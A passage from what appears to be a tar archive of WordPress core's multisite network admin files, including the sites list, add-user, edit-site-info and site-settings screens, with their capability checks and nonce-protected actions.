$enable_administration_menus_title = __( 'Enable administration menus' ); ?> <tr> <th scope="row"><?php echo $enable_administration_menus_title; ?></th> <td> <?php echo '<fieldset><legend class="screen-reader-text">' . $enable_administration_menus_title . '</legend>'; foreach ( (array) $menu_items as $key => $val ) { echo "<label><input type='checkbox' name='menu_items[" . $key . "]' value='1'" . ( isset( $menu_perms[ $key ] ) ? checked( $menu_perms[ $key ], '1', false ) : '' ) . ' /> ' . esc_html( $val ) . '</label><br/>'; } echo '</fieldset>'; ?> </td> </tr> </table> <?php endif; ?> <?php /** * Fires at the end of the Network Settings form, before the submit button. * * @since MU (3.0.0) */ do_action( 'wpmu_options' ); ?> <?php submit_button(); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?> network/sites.php 0000644 00000034374 15233246127 0010115 0 ustar 00 <?php /** * Multisite sites administration panel. * * @package WordPress * @subpackage Multisite * @since 3.0.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'manage_sites' ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } $wp_list_table = _get_list_table( 'WP_MS_Sites_List_Table' ); $pagenum = $wp_list_table->get_pagenum(); // Used in the HTML title tag. $title = __( 'Sites' ); $parent_file = 'sites.php'; add_screen_option( 'per_page' ); get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'Add Site takes you to the screen for adding a new site to the network. You can search for a site by Name, ID number, or IP address. Screen Options allows you to choose how many sites to display on one page.' ) . '</p>' . '<p>' . __( 'This is the main table of all sites on this network. Switch between list and excerpt views by using the icons above the right side of the table.' ) . '</p>' . '<p>' . __( 'Hovering over each site reveals seven options (three for the primary site):' ) . '</p>' . '<ul><li>' . __( 'An Edit link to a separate Edit Site screen.' ) . '</li>' . '<li>' . __( 'Dashboard leads to the Dashboard for that site.' ) . '</li>' . '<li>' . __( 'Flag for Deletion, Archive, and Spam which lead to confirmation screens. These actions can be reversed later.' ) . '</li>' . '<li>' . __( 'Delete Permanently which is a permanent action after the confirmation screen.' ) . '</li>' . '<li>' . __( 'Visit to go to the front-end of the live site.' ) . '</li></ul>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/#network-admin-sites-screen">Documentation on Site Management</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>' ); get_current_screen()->set_screen_reader_content( array( 'heading_pagination' => __( 'Sites list navigation' ), 'heading_list' => __( 'Sites list' ), ) ); $id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0; if ( isset( $_GET['action'] ) ) { /** This action is documented in wp-admin/network/edit.php */ do_action( 'wpmuadminedit' ); // A list of valid actions and their associated messaging for confirmation output. $manage_actions = array( /* translators: %s: Site URL. */ 'activateblog' => __( 'You are about to remove the deletion flag from the site %s.' ), /* translators: %s: Site URL. */ 'deactivateblog' => __( 'You are about to flag the site %s for deletion.' ), /* translators: %s: Site URL. */ 'unarchiveblog' => __( 'You are about to unarchive the site %s.' ), /* translators: %s: Site URL. */ 'archiveblog' => __( 'You are about to archive the site %s.' ), /* translators: %s: Site URL. */ 'unspamblog' => __( 'You are about to unspam the site %s.' ), /* translators: %s: Site URL. */ 'spamblog' => __( 'You are about to mark the site %s as spam.' ), /* translators: %s: Site URL. */ 'deleteblog' => __( 'You are about to delete the site %s.' ), /* translators: %s: Site URL. */ 'unmatureblog' => __( 'You are about to mark the site %s as mature.' ), /* translators: %s: Site URL. */ 'matureblog' => __( 'You are about to mark the site %s as not mature.' ), ); if ( 'confirm' === $_GET['action'] ) { // The action2 parameter contains the action being taken on the site. $site_action = $_GET['action2']; if ( ! array_key_exists( $site_action, $manage_actions ) ) { wp_die( __( 'The requested action is not valid.' ) ); } // The mature/unmature UI exists only as external code. Check the "confirm" nonce for backward compatibility. if ( 'matureblog' === $site_action || 'unmatureblog' === $site_action ) { check_admin_referer( 'confirm' ); } else { check_admin_referer( $site_action . '_' . $id ); } if ( ! headers_sent() ) { nocache_headers(); header( 'Content-Type: text/html; charset=utf-8' ); } if ( is_main_site( $id ) ) { wp_die( __( 'Sorry, you are not allowed to change the current site.' ) ); } $site_details = get_site( $id ); $site_address = untrailingslashit( $site_details->domain . $site_details->path ); $submit = __( 'Confirm' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1><?php _e( 'Confirm your action' ); ?></h1> <form action="sites.php?action=<?php echo esc_attr( $site_action ); ?>" method="post"> <input type="hidden" name="action" value="<?php echo esc_attr( $site_action ); ?>" /> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> <input type="hidden" name="_wp_http_referer" value="<?php echo esc_attr( wp_get_referer() ); ?>" /> <?php wp_nonce_field( $site_action . '_' . $id, '_wpnonce', false ); ?> <?php if ( 'deleteblog' === $site_action ) { $submit = __( 'Delete this site permanently' ); ?> <div class="notice notice-warning inline"> <p><?php _e( 'Deleting a site is a permanent action that cannot be undone. This will delete the entire site and its uploads directory.' ); ?> </div> <?php } elseif ( 'archiveblog' === $site_action ) { ?> <div class="notice notice-warning inline"> <p><?php _e( 'Archiving a site makes the site unavailable to its users and visitors. This is a reversible action.' ); ?> </div> <?php } elseif ( 'deactivateblog' === $site_action ) { ?> <div class="notice notice-warning inline"> <p><?php _e( 'Flagging a site for deletion makes the site unavailable to its users and visitors. This is a reversible action. A super admin can permanently delete the site at a later date.' ); ?> </div> <?php } ?> <p><?php printf( $manage_actions[ $site_action ], "<strong>{$site_address}</strong>" ); ?></p> <?php submit_button( $submit, 'primary' ); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; exit; } elseif ( array_key_exists( $_GET['action'], $manage_actions ) ) { $action = $_GET['action']; check_admin_referer( $action . '_' . $id ); } elseif ( 'allblogs' === $_GET['action'] ) { check_admin_referer( 'bulk-sites' ); } $updated_action = ''; switch ( $_GET['action'] ) { case 'deleteblog': if ( ! current_user_can( 'delete_sites' ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), '', array( 'response' => 403 ) ); } $updated_action = 'not_deleted'; if ( 0 !== $id && ! is_main_site( $id ) && current_user_can( 'delete_site', $id ) ) { wpmu_delete_blog( $id, true ); $updated_action = 'delete'; } break; case 'delete_sites': check_admin_referer( 'ms-delete-sites' ); foreach ( (array) $_POST['site_ids'] as $site_id ) { $site_id = (int) $site_id; if ( is_main_site( $site_id ) ) { continue; } if ( ! current_user_can( 'delete_site', $site_id ) ) { $site = get_site( $site_id ); $site_address = untrailingslashit( $site->domain . $site->path ); wp_die( sprintf( /* translators: %s: Site URL. */ __( 'Sorry, you are not allowed to delete the site %s.' ), $site_address ), 403 ); } $updated_action = 'all_delete'; wpmu_delete_blog( $site_id, true ); } break; case 'allblogs': if ( isset( $_POST['action'] ) && isset( $_POST['allblogs'] ) ) { $doaction = $_POST['action']; foreach ( (array) $_POST['allblogs'] as $site_id ) { $site_id = (int) $site_id; if ( 0 !== $site_id && ! is_main_site( $site_id ) ) { switch ( $doaction ) { case 'delete': require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1><?php _e( 'Confirm your action' ); ?></h1> <form action="sites.php?action=delete_sites" method="post"> <input type="hidden" name="action" value="delete_sites" /> <input type="hidden" name="_wp_http_referer" value="<?php echo esc_attr( wp_get_referer() ); ?>" /> <?php wp_nonce_field( 'ms-delete-sites', '_wpnonce', false ); ?> <div class="notice notice-warning inline"> <p><?php _e( 'Deleting a site is a permanent action that cannot be undone. This will delete the entire site and its uploads directory.' ); ?> </div> <p><?php _e( 'You are about to delete the following sites:' ); ?></p> <ul class="ul-disc"> <?php foreach ( $_POST['allblogs'] as $site_id ) : $site_id = (int) $site_id; $site = get_site( $site_id ); $site_address = untrailingslashit( $site->domain . $site->path ); ?> <li> <?php echo $site_address; ?> <input type="hidden" name="site_ids[]" value="<?php echo esc_attr( $site_id ); ?>" /> </li> <?php endforeach; ?> </ul> <?php submit_button( __( 'Delete these sites permanently' ), 'primary' ); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; exit; // By exiting, there's no longer a switch to break out of. case 'spam': case 'notspam': $updated_action = ( 'spam' === $doaction ) ? 'all_spam' : 'all_notspam'; update_blog_status( $site_id, 'spam', ( 'spam' === $doaction ) ? '1' : '0' ); break; } } else { wp_die( __( 'Sorry, you are not allowed to change the current site.' ) ); } } if ( ! in_array( $doaction, array( 'delete', 'spam', 'notspam' ), true ) ) { $redirect_to = wp_get_referer(); $blogs = (array) $_POST['allblogs']; /** This action is documented in wp-admin/network/site-themes.php */ $redirect_to = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $redirect_to, $doaction, $blogs, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores wp_safe_redirect( $redirect_to ); exit; } } else { // Process query defined by WP_MS_Site_List_Table::extra_table_nav(). $location = remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), add_query_arg( $_POST, network_admin_url( 'sites.php' ) ) ); wp_redirect( $location ); exit; } break; case 'archiveblog': case 'unarchiveblog': update_blog_status( $id, 'archived', ( 'archiveblog' === $_GET['action'] ) ? '1' : '0' ); break; case 'activateblog': update_blog_status( $id, 'deleted', '0' ); /** * Fires after a network site has its deletion flag removed. * * @since MU (3.0.0) * * @param int $id The ID of the reactivated site. */ do_action( 'activate_blog', $id ); break; case 'deactivateblog': /** * Fires before a network site is flagged for deletion. * * @since MU (3.0.0) * * @param int $id The ID of the site being flagged for deletion. */ do_action( 'deactivate_blog', $id ); update_blog_status( $id, 'deleted', '1' ); break; case 'unspamblog': case 'spamblog': update_blog_status( $id, 'spam', ( 'spamblog' === $_GET['action'] ) ? '1' : '0' ); break; case 'unmatureblog': case 'matureblog': update_blog_status( $id, 'mature', ( 'matureblog' === $_GET['action'] ) ? '1' : '0' ); break; } if ( empty( $updated_action ) && array_key_exists( $_GET['action'], $manage_actions ) ) { $updated_action = $_GET['action']; } if ( ! empty( $updated_action ) ) { wp_safe_redirect( add_query_arg( array( 'updated' => $updated_action ), wp_get_referer() ) ); exit; } } $msg = ''; if ( isset( $_GET['updated'] ) ) { $action = $_GET['updated']; switch ( $action ) { case 'all_notspam': $msg = __( 'Sites removed from spam.' ); break; case 'all_spam': $msg = __( 'Sites marked as spam.' ); break; case 'all_delete': $msg = __( 'Sites permanently deleted.' ); break; case 'delete': $msg = __( 'Site permanently deleted.' ); break; case 'not_deleted': $msg = __( 'Sorry, you are not allowed to delete that site.' ); break; case 'archiveblog': $msg = __( 'Site archived.' ); break; case 'unarchiveblog': $msg = __( 'Site unarchived.' ); break; case 'activateblog': $msg = __( 'Site deletion flag removed.' ); break; case 'deactivateblog': $msg = __( 'Site flagged for deletion.' ); break; case 'unspamblog': $msg = __( 'Site removed from spam.' ); break; case 'spamblog': $msg = __( 'Site marked as spam.' ); break; default: /** * Filters a specific, non-default, site-updated message in the Network admin. * * The dynamic portion of the hook name, `$action`, refers to the non-default * site update action. * * @since 3.1.0 * * @param string $msg The update message. Default 'Settings saved'. */ $msg = apply_filters( "network_sites_updated_message_{$action}", __( 'Settings saved.' ) ); break; } if ( ! empty( $msg ) ) { $msg = wp_get_admin_notice( $msg, array( 'type' => 'success', 'dismissible' => true, 'id' => 'message', ) ); } } $wp_list_table->prepare_items(); require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1 class="wp-heading-inline"><?php _e( 'Sites' ); ?></h1> <?php if ( current_user_can( 'create_sites' ) ) : ?> <a href="<?php echo esc_url( network_admin_url( 'site-new.php' ) ); ?>" class="page-title-action"><?php echo esc_html__( 'Add Site' ); ?></a> <?php endif; ?> <?php if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) { echo '<span class="subtitle">'; printf( /* translators: %s: Search query. */ __( 'Search results for: %s' ), '<strong>' . esc_html( $s ) . '</strong>' ); echo '</span>'; } ?> <hr class="wp-header-end"> <?php $wp_list_table->views(); ?> <?php echo $msg; ?> <form method="get" id="ms-search" class="wp-clearfix"> <?php $wp_list_table->search_box( __( 'Search Sites' ), 'site' ); ?> <input type="hidden" name="action" value="blogs" /> </form> <form id="form-site-list" action="sites.php?action=allblogs" method="post"> <?php $wp_list_table->display(); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?> network/user-new.php 0000644 00000012154 15233246127 0010523 0 ustar 00 <?php /** * Add User network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'create_users' ) ) { wp_die( __( 'Sorry, you are not allowed to add users to this network.' ) ); } get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'Add User will set up a new user account on the network and send that person an email with username and password.' ) . '</p>' . '<p>' . __( 'Users who are signed up to the network without a site are added as subscribers to the main or primary dashboard site, giving them profile pages to manage their accounts. These users will only see Dashboard and My Sites in the main navigation until a site is created for them.' ) . '</p>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Users_Screen">Documentation on Network Users</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>' ); if ( isset( $_REQUEST['action'] ) && 'add-user' === $_REQUEST['action'] ) { check_admin_referer( 'add-user', '_wpnonce_add-user' ); if ( ! current_user_can( 'manage_network_users' ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } if ( ! is_array( $_POST['user'] ) ) { wp_die( __( 'Cannot create an empty user.' ) ); } $user = wp_unslash( $_POST['user'] ); $user_details = wpmu_validate_user_signup( $user['username'], $user['email'] ); if ( is_wp_error( $user_details['errors'] ) && $user_details['errors']->has_errors() ) { $add_user_errors = $user_details['errors']; } else { $password = wp_generate_password( 12, false ); $user_id = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, sanitize_email( $user['email'] ) ); if ( ! $user_id ) { $add_user_errors = new WP_Error( 'add_user_fail', __( 'Cannot add user.' ) ); } else { /** * Fires after a new user has been created via the network user-new.php page. * * @since 4.4.0 * * @param int $user_id ID of the newly created user. */ do_action( 'network_user_new_created_user', $user_id ); wp_redirect( add_query_arg( array( 'update' => 'added', 'user_id' => $user_id, ), 'user-new.php' ) ); exit; } } } $message = ''; if ( isset( $_GET['update'] ) ) { if ( 'added' === $_GET['update'] ) { $edit_link = ''; if ( isset( $_GET['user_id'] ) ) { $user_id_new = absint( $_GET['user_id'] ); if ( $user_id_new ) { $edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user_id_new ) ) ); } } $message = __( 'User added.' ); if ( $edit_link ) { $message .= sprintf( ' <a href="%s">%s</a>', $edit_link, __( 'Edit user' ) ); } } } // Used in the HTML title tag. $title = __( 'Add User' ); $parent_file = 'users.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1 id="add-new-user"><?php _e( 'Add User' ); ?></h1> <?php if ( '' !== $message ) { wp_admin_notice( $message, array( 'type' => 'success', 'dismissible' => true, 'id' => 'message', ) ); } if ( isset( $add_user_errors ) && is_wp_error( $add_user_errors ) ) { $error_messages = ''; foreach ( $add_user_errors->get_error_messages() as $error ) { $error_messages .= "<p>$error</p>"; } wp_admin_notice( $error_messages, array( 'type' => 'error', 'dismissible' => true, 'id' => 'message', 'paragraph_wrap' => false, ) ); } ?> <form action="<?php echo esc_url( network_admin_url( 'user-new.php?action=add-user' ) ); ?>" id="adduser" method="post" novalidate="novalidate"> <p><?php echo wp_required_field_message(); ?></p> <table class="form-table" role="presentation"> <tr class="form-field form-required"> <th scope="row"><label for="username"><?php _e( 'Username' ); ?> <?php echo wp_required_field_indicator(); ?></label></th> <td><input type="text" class="regular-text" name="user[username]" id="username" autocapitalize="none" autocorrect="off" maxlength="60" required="required" /></td> </tr> <tr class="form-field form-required"> <th scope="row"><label for="email"><?php _e( 'Email' ); ?> <?php echo wp_required_field_indicator(); ?></label></th> <td><input type="email" class="regular-text" name="user[email]" id="email" required="required" /></td> </tr> <tr class="form-field"> <td colspan="2" class="td-full"><?php _e( 'A password reset link will be sent to the user via email.' ); ?></td> </tr> </table> <?php /** * Fires at the end of the new user form in network admin. * * @since 4.5.0 */ do_action( 'network_user_new_form' ); wp_nonce_field( 'add-user', '_wpnonce_add-user' ); submit_button( __( 'Add User' ), 'primary', 'add-user' ); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; network/site-info.php 0000644 00000017155 15233246127 0010661 0 ustar 00 <?php /** * Edit Site Info Administration Screen * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'manage_sites' ) ) { wp_die( __( 'Sorry, you are not allowed to edit this site.' ) ); } get_current_screen()->add_help_tab( get_site_screen_help_tab_args() ); get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() ); $id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0; if ( ! $id ) { wp_die( __( 'Invalid site ID.' ) ); } $details = get_site( $id ); if ( ! $details ) { wp_die( __( 'The requested site does not exist.' ) ); } if ( ! can_edit_network( $details->site_id ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } $parsed_scheme = parse_url( $details->siteurl, PHP_URL_SCHEME ); $is_main_site = is_main_site( $id ); if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] ) { check_admin_referer( 'edit-site' ); switch_to_blog( $id ); // Rewrite rules can't be flushed during switch to blog. delete_option( 'rewrite_rules' ); $blog_data = wp_unslash( $_POST['blog'] ); $blog_data['scheme'] = $parsed_scheme; if ( $is_main_site ) { // On the network's main site, don't allow the domain or path to change. $blog_data['domain'] = $details->domain; $blog_data['path'] = $details->path; } else { // For any other site, the scheme, domain, and path can all be changed. We first // need to ensure a scheme has been provided, otherwise fallback to the existing. $new_url_scheme = parse_url( $blog_data['url'], PHP_URL_SCHEME ); if ( ! $new_url_scheme ) { $blog_data['url'] = esc_url( $parsed_scheme . '://' . $blog_data['url'] ); } $update_parsed_url = parse_url( $blog_data['url'] ); // If a path is not provided, use the default of `/`. if ( ! isset( $update_parsed_url['path'] ) ) { $update_parsed_url['path'] = '/'; } $blog_data['scheme'] = $update_parsed_url['scheme']; // Make sure to not lose the port if it was provided. $blog_data['domain'] = $update_parsed_url['host']; if ( isset( $update_parsed_url['port'] ) ) { $blog_data['domain'] .= ':' . $update_parsed_url['port']; } $blog_data['path'] = $update_parsed_url['path']; } $existing_details = get_site( $id ); $blog_data_checkboxes = array( 'public', 'archived', 'spam', 'mature', 'deleted' ); foreach ( $blog_data_checkboxes as $c ) { if ( ! in_array( (int) $existing_details->$c, array( 0, 1 ), true ) ) { $blog_data[ $c ] = $existing_details->$c; } else { $blog_data[ $c ] = isset( $_POST['blog'][ $c ] ) ? 1 : 0; } } update_blog_details( $id, $blog_data ); // Maybe update home and siteurl options. $new_details = get_site( $id ); $old_home_url = trailingslashit( esc_url( get_option( 'home' ) ) ); $old_home_parsed = parse_url( $old_home_url ); $old_home_host = $old_home_parsed['host'] . ( isset( $old_home_parsed['port'] ) ? ':' . $old_home_parsed['port'] : '' ); if ( $old_home_host === $existing_details->domain && $old_home_parsed['path'] === $existing_details->path ) { $new_home_url = untrailingslashit( sanitize_url( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) ); update_option( 'home', $new_home_url ); } $old_site_url = trailingslashit( esc_url( get_option( 'siteurl' ) ) ); $old_site_parsed = parse_url( $old_site_url ); $old_site_host = $old_site_parsed['host'] . ( isset( $old_site_parsed['port'] ) ? ':' . $old_site_parsed['port'] : '' ); if ( $old_site_host === $existing_details->domain && $old_site_parsed['path'] === $existing_details->path ) { $new_site_url = untrailingslashit( sanitize_url( $blog_data['scheme'] . '://' . $new_details->domain . $new_details->path ) ); update_option( 'siteurl', $new_site_url ); } restore_current_blog(); wp_redirect( add_query_arg( array( 'update' => 'updated', 'id' => $id, ), 'site-info.php' ) ); exit; } if ( isset( $_GET['update'] ) ) { $messages = array(); if ( 'updated' === $_GET['update'] ) { $messages[] = __( 'Site info updated.' ); } } // Used in the HTML title tag. /* translators: %s: Site title. */ $title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) ); $parent_file = 'sites.php'; $submenu_file = 'sites.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1 id="edit-site"><?php echo $title; ?></h1> <p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p> <?php network_edit_site_nav( array( 'blog_id' => $id, 'selected' => 'site-info', ) ); if ( ! empty( $messages ) ) { $notice_args = array( 'type' => 'success', 'dismissible' => true, 'id' => 'message', ); foreach ( $messages as $msg ) { wp_admin_notice( $msg, $notice_args ); } } ?> <form method="post" action="site-info.php?action=update-site"> <?php wp_nonce_field( 'edit-site' ); ?> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> <table class="form-table" role="presentation"> <?php // The main site of the network should not be updated on this page. if ( $is_main_site ) : ?> <tr class="form-field"> <th scope="row"><?php _e( 'Site Address (URL)' ); ?></th> <td><code><?php echo esc_url( $parsed_scheme . '://' . $details->domain . $details->path ); ?></code></td> </tr> <?php // For any other site, the scheme, domain, and path can all be changed. else : ?> <tr class="form-field form-required"> <th scope="row"><label for="url"><?php _e( 'Site Address (URL)' ); ?></label></th> <td><input name="blog[url]" type="url" id="url" value="<?php echo $parsed_scheme . '://' . esc_attr( $details->domain ) . esc_attr( $details->path ); ?>" /></td> </tr> <?php endif; ?> <tr class="form-field"> <th scope="row"><label for="blog_registered"><?php _ex( 'Registered', 'site' ); ?></label></th> <td><input name="blog[registered]" type="text" id="blog_registered" value="<?php echo esc_attr( $details->registered ); ?>" /></td> </tr> <tr class="form-field"> <th scope="row"><label for="blog_last_updated"><?php _e( 'Last Updated' ); ?></label></th> <td><input name="blog[last_updated]" type="text" id="blog_last_updated" value="<?php echo esc_attr( $details->last_updated ); ?>" /></td> </tr> <?php $site_attributes_title = __( 'Attributes' ); $attribute_fields = array( 'public' => _x( 'Public', 'site' ) ); if ( ! $is_main_site ) { $attribute_fields['archived'] = __( 'Archived' ); $attribute_fields['spam'] = _x( 'Spam', 'site' ); $attribute_fields['deleted'] = __( 'Flagged for Deletion' ); } $attribute_fields['mature'] = __( 'Mature' ); ?> <tr> <th scope="row"><?php echo $site_attributes_title; ?></th> <td> <fieldset> <legend class="screen-reader-text"><?php echo $site_attributes_title; ?></legend> <?php foreach ( $attribute_fields as $field_key => $field_label ) : ?> <label><input type="checkbox" name="blog[<?php echo $field_key; ?>]" value="1" <?php checked( (bool) $details->$field_key, true ); ?> <?php disabled( ! in_array( (int) $details->$field_key, array( 0, 1 ), true ) ); ?> /> <?php echo $field_label; ?></label><br /> <?php endforeach; ?> <fieldset> </td> </tr> </table> <?php /** * Fires at the end of the site info form in network admin. * * @since 5.6.0 * * @param int $id The site ID. */ do_action( 'network_site_info_form', $id ); submit_button(); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; network/freedoms.php 0000644 00000000373 15233246127 0010562 0 ustar 00 <?php /** * Network Freedoms administration panel. * * @package WordPress * @subpackage Multisite * @since 3.4.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/freedoms.php'; network/setup.php 0000644 00000000367 15233246127 0010121 0 ustar 00 <?php /** * Network Setup administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/network.php'; network/update-core.php 0000644 00000000375 15233246127 0011170 0 ustar 00 <?php /** * Updates network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/update-core.php'; network/contribute.php 0000644 00000000377 15233246127 0011140 0 ustar 00 <?php /** * Network Contribute administration panel. * * @package WordPress * @subpackage Multisite * @since 6.3.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/contribute.php'; network/about.php 0000644 00000000365 15233246127 0010071 0 ustar 00 <?php /** * Network About administration panel. * * @package WordPress * @subpackage Multisite * @since 3.4.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/about.php'; network/user-edit.php 0000644 00000000375 15233246127 0010661 0 ustar 00 <?php /** * Edit user network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/user-edit.php'; network/site-settings.php 0000644 00000013537 15233246127 0011566 0 ustar 00 <?php /** * Edit Site Settings Administration Screen * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'manage_sites' ) ) { wp_die( __( 'Sorry, you are not allowed to edit this site.' ) ); } get_current_screen()->add_help_tab( get_site_screen_help_tab_args() ); get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() ); $id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0; if ( ! $id ) { wp_die( __( 'Invalid site ID.' ) ); } $details = get_site( $id ); if ( ! $details ) { wp_die( __( 'The requested site does not exist.' ) ); } if ( ! can_edit_network( $details->site_id ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } $is_main_site = is_main_site( $id ); if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] && is_array( $_POST['option'] ) ) { check_admin_referer( 'edit-site' ); switch_to_blog( $id ); $skip_options = array( 'allowedthemes' ); // Don't update these options since they are handled elsewhere in the form. foreach ( (array) $_POST['option'] as $key => $val ) { $key = wp_unslash( $key ); $val = wp_unslash( $val ); if ( 0 === $key || is_array( $val ) || in_array( $key, $skip_options, true ) ) { continue; // Avoids "0 is a protected WP option and may not be modified" error when editing blog options. } update_option( $key, $val ); } /** * Fires after the site options are updated. * * @since 3.0.0 * @since 4.4.0 Added `$id` parameter. * * @param int $id The ID of the site being updated. */ do_action( 'wpmu_update_blog_options', $id ); restore_current_blog(); wp_redirect( add_query_arg( array( 'update' => 'updated', 'id' => $id, ), 'site-settings.php' ) ); exit; } if ( isset( $_GET['update'] ) ) { $messages = array(); if ( 'updated' === $_GET['update'] ) { $messages[] = __( 'Site options updated.' ); } } // Used in the HTML title tag. /* translators: %s: Site title. */ $title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) ); $parent_file = 'sites.php'; $submenu_file = 'sites.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1 id="edit-site"><?php echo $title; ?></h1> <p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p> <?php network_edit_site_nav( array( 'blog_id' => $id, 'selected' => 'site-settings', ) ); if ( ! empty( $messages ) ) { $notice_args = array( 'type' => 'success', 'dismissible' => true, 'id' => 'message', ); foreach ( $messages as $msg ) { wp_admin_notice( $msg, $notice_args ); } } ?> <form method="post" action="site-settings.php?action=update-site"> <?php wp_nonce_field( 'edit-site' ); ?> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> <table class="form-table" role="presentation"> <?php $blog_prefix = $wpdb->get_blog_prefix( $id ); $options = $wpdb->get_results( $wpdb->prepare( 'SELECT * FROM %i WHERE option_name NOT LIKE %s AND option_name NOT LIKE %s', "{$blog_prefix}options", $wpdb->esc_like( '_' ) . '%', '%' . $wpdb->esc_like( 'user_roles' ) ) ); foreach ( $options as $option ) { if ( 'default_role' === $option->option_name ) { $editblog_default_role = $option->option_value; } $disabled = false; $class = 'all-options'; if ( is_serialized( $option->option_value ) ) { if ( is_serialized_string( $option->option_value ) ) { $option->option_value = esc_html( maybe_unserialize( $option->option_value ) ); } else { $option->option_value = 'SERIALIZED DATA'; $disabled = true; $class = 'all-options disabled'; } } $ltr_fields = array( 'siteurl', 'home', 'admin_email', 'new_admin_email', 'mailserver_url', 'mailserver_login', 'mailserver_pass', 'ping_sites', 'permalink_structure', 'category_base', 'tag_base', 'upload_path', 'upload_url_path', ); if ( in_array( $option->option_name, $ltr_fields, true ) ) { $class .= ' ltr'; } if ( str_contains( $option->option_value, "\n" ) ) { ?> <tr class="form-field"> <th scope="row"><label for="<?php echo esc_attr( $option->option_name ); ?>" class="code"><?php echo esc_html( $option->option_name ); ?></label></th> <td><textarea class="<?php echo $class; ?>" rows="5" cols="40" name="option[<?php echo esc_attr( $option->option_name ); ?>]" id="<?php echo esc_attr( $option->option_name ); ?>"<?php disabled( $disabled ); ?>><?php echo esc_textarea( $option->option_value ); ?></textarea></td> </tr> <?php } else { ?> <tr class="form-field"> <th scope="row"><label for="<?php echo esc_attr( $option->option_name ); ?>" 